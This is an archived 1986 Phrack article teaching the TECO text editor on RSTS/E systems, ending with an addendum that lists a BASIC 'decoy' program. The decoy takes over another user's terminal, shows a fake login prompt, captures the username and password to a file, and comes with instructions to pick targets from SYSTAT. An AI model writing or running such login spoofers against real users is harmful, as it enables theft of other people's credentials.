home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk1 / ph094.txt < prev    next >
Text File  |  1992-09-26  |  13KB  |  380 lines

  1.                                ==Phrack Inc.==
  2.  
  3.                     Volume One, Issue Nine, Phile #4 of 10
  4.  
  5.   $$$$$$$$$$$$$$$$$$$$$$$$
  6.   $  PROGRAMMING RSTS/E  $
  7.   $    File2: Editors    $
  8.   $ by:                  $
  9.   $      Solid State     $
  10.   $$$$$$$$$$$$$$$$$$$$$$$$
  11.  
  12.   Written (c) Oct 11, 1986
  13.   ------------------------
  14.  
  15.    Within this article I will be focusing on the TECO text editor found on
  16. almost every installation of RSTS that you will pass by today. I feel it is
  17. unneeded to do a write up on the other editors such as EDT, a screen editor
  18. for VT100 and VT52 terminals, and EDFOR, a FORTRAN text editor, as most
  19. hackers will not have the proper hardware/software at their disposal.
  20.    This file does not contain many tricks, but has straightforward information
  21. that most assuredly can be found in the user manual. Since not everyone has
  22. access to help documents though, this file will provide a base for the first
  23. time editor user and hopefully a reference for the experienced. If you feel
  24. otherwise.. don't waste your time reading it.
  25.    Following the main portion of the file is an updated copy of the decoy
  26. trick I promised to revise that was featured in my first file. Hopefully, (I
  27. am not promising though), I have succeeded in removing all the bugs this time.
  28.  
  29. USES
  30. ====
  31.  
  32.    A text editor, for those of you that happen to be brain dead, is a utility
  33. similar to the word processor you use everyday on your micro: it allows a
  34. person to create, modify, and compile text files. But, also can edit, and if
  35. need be, create program files. For these reasons and many others, knowing how
  36. to use an editor thoroughly can be a major advantage to the hacker on future
  37. explorations.
  38.  
  39. EXECUTING
  40. =========
  41.  
  42.    Typing TECO invokes the TECO text editor. If TECO is just typed without any
  43. modifiers, then the file edited last will be placed in the editing buffer.
  44. (More on this subject can be found below under MEMORY.) To edit a different
  45. file, or create a new file, the following forms are used:
  46.  
  47. TECO filename.ext                  To edit an existing file.
  48. TECO outfile.ext=infile.ext        To edit from one file to another.
  49. MAKE filename.ext                  To create a new file.
  50.  
  51.    Other ways to execute TECO involve VT terminals, but we are not going into
  52. that much detail within this text.
  53.  
  54. INITIALIZATION
  55. ==============
  56.  
  57.    If there is a file named TECO.INI in your directory when TECO is invoked,
  58. it is assumed to be the macro settings for a VT terminal. We don't need to
  59. bother with those, so make sure to disable the search by appending the switch
  60. /NOINI on execution.
  61.  
  62. MEMORY
  63. ======
  64.  
  65.    Each time TECO is executed, the name of the file being edited is placed
  66. into another file titled TECFnn.TMP where nn is your job number. If you invoke
  67. TECO and wish to edit a file different than the one currently in the memory
  68. file, select the switch /NOMEMORY.
  69.  
  70. MODIFIERS
  71. =========
  72.  
  73.    There are a number of options, called switches, which modify the execution
  74. of the TECO utility. Some like /NOINI and /NOMEMORY I have previously
  75. mentioned. Other important switches follow along with a short description of
  76. each. To select one of these options, append it to the call string when you
  77. invoke TECO:
  78.  
  79. TECO filename.ext /[option1] /[option2] ...
  80.  
  81. /FIND                              This places the pointer at
  82.                                     the last marked position
  83.                                     within the input file.
  84. /INSPECT                           If selected, you can only
  85.                                     read the file, not edit.
  86.  
  87.    There are a few more that deal with the VT terminals, but as I've said
  88. already, there is really no need to list them.
  89.  
  90. INTERRUPT
  91. =========
  92.  
  93.    The control character 'C' (CTRL/C or ^C -which it shall from now on be
  94. referred to as.) is used to halt the execution of the current TECO command,
  95. the same as it does in the BASIC monitor. If ^C is typed twice without a TECO
  96. command in between, the utility is aborted. (You are returned to the keyboard
  97. monitor whichever it was.. eg. BASIC, BASIC+2, RSX..)
  98.  
  99. COMMAND EXECUTION
  100. =================
  101.  
  102.    When TECO is called, you will receive the  *  prompt. This is the command
  103. prompt. Almost all commands used by the editor are one or two characters in
  104. length and are typed in using a normal ASCII keyboard. To terminate a TECO
  105. command the <ESCAPE> sequence is used. When typed, it will echo back as a  $
  106. character. Two consecutive <ESCAPE>s must be entered before a command will be
  107. carried out. This allows you to string together a line of commands like:
  108.  
  109. * [command1]$[command2]$[command3]$ ... $$
  110.  
  111. COMMANDS
  112. ========
  113.  
  114.  ]Moving the Pointer[
  115.  
  116.    The text pointer is used to represent where you are working, ie. if you
  117. were to enter a command, what part of the text it would affect. It's similar
  118. to the job your cursor does when writing a program on your micro.
  119.  
  120. 'J'
  121.  
  122.    The "J" command is used to move the text pointer to the beginning or end of
  123. the editing buffer.
  124.  
  125.    BJ     Move to the beginning of the buffer.
  126.    ZJ     Move to end of the editing buffer.
  127.  
  128. 'L'
  129.  
  130.    The "L" command moves the text pointer from one line to another. Common
  131. forms of the command are:
  132.  
  133.    L      Move to beginning of the next line.
  134.    0L     Move to front of current line.
  135.    3L     Move to the third line down from the current line.
  136.   -1L     Move back to previous line. (One above current.)
  137. ...
  138.  
  139. 'C'
  140.  
  141.    The "C" command is used to move the text pointer past a specified number of
  142. characters, forward or backwards, on the current line. Common forms include:
  143.  
  144.    C      Advance the pointer to the next character.
  145.    5C     Move the pointer forward five characters.
  146.   -5C     Move back five characters.
  147. ...
  148.  
  149.  ]Listing Text[
  150.  
  151.    There is one command with a couple various forms to list the text within
  152. the editor; they follow.
  153.  
  154. 'T'
  155.  
  156.    The "T" is used to list text from the editing buffer. Commonly found forms
  157. are:
  158.  
  159.    HT     Print the entire contents of the editing buffer.
  160.    T      Type text from the pointer to the end of the current line.
  161.    0T     Type text from the beginning of the line to the text pointer.
  162.    5T     Print the next five lines of text from the buffer, starting where
  163.            the pointer is located.
  164. ...
  165.  
  166.  ]Entering Text[
  167.  
  168.    What use is an editor if you can't add to the text? There is one command,
  169. insert, which allows you to write. If you are creating a file from scratch,
  170. you would enter the insert command each time you wanted to add a new line to
  171. your document.
  172.  
  173. 'I'
  174.  
  175.    The "I" command is used to insert text into the buffer. After issued, the
  176. text entered will be placed where the text pointer is located. The command is
  177. of the form:
  178.  
  179.    I <text> <ESCAPE>
  180.  
  181. For example, to insert the sentence, "This is an example.", type:
  182.  
  183.    IThis is an example$
  184.  
  185. (Note: Remember that <ESCAPE> echoes back to your screen as $)
  186.  
  187.  ]Deleting Text[
  188.  
  189.    The TECO text editor makes it easy to delete words, sentences, etc. from
  190. the buffer. There are two different commands used, line delete, and letter
  191. delete.
  192.  
  193. 'K'
  194.  
  195.    The "K" is issued when you choose to delete lines of text from the editing
  196. buffer. Common forms are as follows:
  197.  
  198.    K      Delete the text from the pointer through the end of the current
  199.            line.
  200.    0K     Delete the text from the beginning of the line to through the
  201.            pointer.
  202.    5K     Omit the following five lines from the buffer.
  203.    HK     Kill the entire contents of the buffer.
  204. ...
  205.  
  206. 'D'
  207.  
  208.    The "D" appropriately is used to delete individual characters. A few of the
  209. forms found are:
  210.  
  211.    D      Delete the character which follows directly after the text pointer.
  212.    5D     Delete the following five characters from the text, starting from
  213.            the pointer.
  214.   -1D     Delete the character directly behind the pointer.
  215. ...
  216.  
  217.  ]Searching[
  218.  
  219.    All good word processors include a routine to search and replace a string
  220. of text. So does the TECO text editor. Two forms are used, the locate text,
  221. and the search and replace text commands.
  222.  
  223. 'S'
  224.  
  225.    The "S" is used to locate a specified string of text currently in the
  226. editing buffer. If the text is found, the pointer is positioned directly after
  227. the specified text. If the string is not found, an error message results and
  228. the text pointer is placed at the beginning of the buffer.
  229.  
  230.    S <text> <ESCAPE>
  231.  
  232. For example, to locate "This is an example.", enter:
  233.  
  234.    SThis is an example.$
  235.  
  236. 'FS'
  237.  
  238.    "FS" for find and replace does exactly that. It searches for a specified
  239. string of text, and if found replaces it with another sting of text. If the
  240. specified text is not found though, the pointer is positioned at the beginning
  241. of the buffer just like the "S" command. The "FS" command is of the form:
  242.  
  243.    FS <old text> <ESCAPE> <new text> <ESCAPE>
  244.  
  245. For an example, to replace "hullo" with "hello!", use the command:
  246.  
  247.    FShullo$hello!$
  248.  
  249.  ]Saving[
  250.  
  251.    To save the new version of the file which you have been editing, you enter
  252. the exit command and it shall be saved in your directory. Remember though, if
  253. you wish to quit but not replace a file with your edited version, just type ^C
  254. twice.
  255.  
  256. 'EX'
  257.  
  258.    The "EX" command is used to write the current buffer to the output file,
  259. then exit from TECO. For example:
  260.  
  261.    EX$$
  262.  
  263. (Note: Remember that <ESCAPE> is echoed as $, and typing <ESCAPE> twice causes
  264. a command to be executed.)
  265.  
  266. FLAGS
  267. =====
  268.  
  269.    The TECO text editor is not limited to the commands already shown. The
  270. editor has a few flags which can be entered at the  *  prompt that will modify
  271. the TECO environment.
  272.    To examine the value of a flag type:
  273.  
  274.    [flag]x
  275.  
  276. Where [flag] is the specified flag and x is a numeric argument which returns
  277. text. To set the value of a flag enter:
  278.  
  279.    x[flag]
  280.  
  281. Where x is the number or command being specified for the flag [flag].
  282.  
  283. 'EH'
  284.  
  285.    EH is the error handling flag. Here's the table of arguments and their
  286. meanings:
  287.  
  288. Value     Meaning
  289.  
  290.     1     If an error is encountered within the operation of TECO, only the
  291.            3-character error code is printed.
  292.     2     If an error is encountered during operation, a short message
  293.            explaining the error is printed. (default setting)
  294.     3     If an error is encountered, the command(s) which led to the error
  295.            are printed.
  296.  
  297. 'ET'
  298.  
  299.    ET, or Edit Terminal, is the command for modifying terminal output. Table
  300. of arguments follows:
  301.  
  302. Value     Meaning
  303.  
  304.     1     Output is in image mode.
  305.     2     Terminal in use is a scope.
  306.     4     Terminal in use has lowercase available.
  307.     8     ^T is read without echo.
  308.    16     Cancels ^O during output.
  309.   128     TECO aborts if an error is encountered.
  310.   256     Output to screen is truncated to the terminal's width.
  311.   512     VT terminal support available.
  312.  1024     (same as above)
  313. 32768     Traps ^C
  314.  
  315. '^X'
  316.  
  317.    ^X, the last flag I'll mention, deals with searches. (Look above for the
  318. command to search.)
  319.  
  320. Value     Meaning
  321.  
  322.     0     Either case matches during searches.
  323.     1     An exact case match is required to complete a search.
  324.  
  325.  
  326. CONCLUSION
  327. ==========
  328.  
  329.    That just about wraps up the TECO text editor.. boring eh? But as I've said
  330. time and again, editors are important to hackers.
  331.  
  332.  Till next time...
  333.  
  334.    Solid State
  335. >>>PhoneLine Phantoms!
  336.  
  337. _______________________________________________________________
  338. File1- Addendum:
  339.  
  340.    Here's the updated version of the decoy program (yeah, the one that had an
  341. error!) that was featured in File1. The concept of this revision is slightly
  342. different, but it 'should' work more efficiently and easily than the first.
  343.    To execute the program, first do a SYstat and record the KB numbers of
  344. potential targets. Run the program, and enter the number of the KB only..
  345. (Don't hang up!) ..then just wait till the program has ended and then check
  346. the output file.
  347.  
  348. Note: This listing will not without modification work on all systems or under
  349.       all conditions.
  350.  
  351.  
  352. 1 ! R S T S decoy
  353. 10 EXTEND
  354. 100 ON ERROR GOTO 1000
  355. 120 PRINT CHR$(140):PRINT:PRINT
  356. 130 INPUT "To which keyboard (KB)";K$
  357. 140 K$=CVT$$(K$,4%)
  358. 200 OPEN "KB:"+K$ AS FILE #1%
  359. 220 INPUT LINE #1%,A$
  360. 230 IF CVT$$(A$,4%)="" THEN 220
  361. 240 PRINT #1%
  362. 240 PRINT #1%,"RSTS"
  363. 250 PRINT #1%
  364. 260 PRINT #1%,"User: ";
  365. 270 INPUT LINE #1%,U$:U$=CVT$$(U$,4%)
  366. 280 T$=SYS(CHR$(3%))
  367. 290 PRINT #1%,"Password: ";
  368. 300 INPUT LINE #1%,P$:P$=CVT$$(P$,4%)
  369. 310 Z$=SYS(CHR$(2%))
  370. 320 PRINT #1%
  371. 330 PRINT #1%,"Invalid entry - try again":PRINT #1%
  372. 340 CLOSE #1%
  373. 400 OPEN "DATA.TXT" FOR OUTPUT AS FILE #2%
  374. 410 PRINT #2%,U$;";";P$
  375. 420 CLOSE #2%
  376. 999 END
  377. 1000 PRINT "?ERROR line #";ERL:STOP
  378. 
  379. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  380.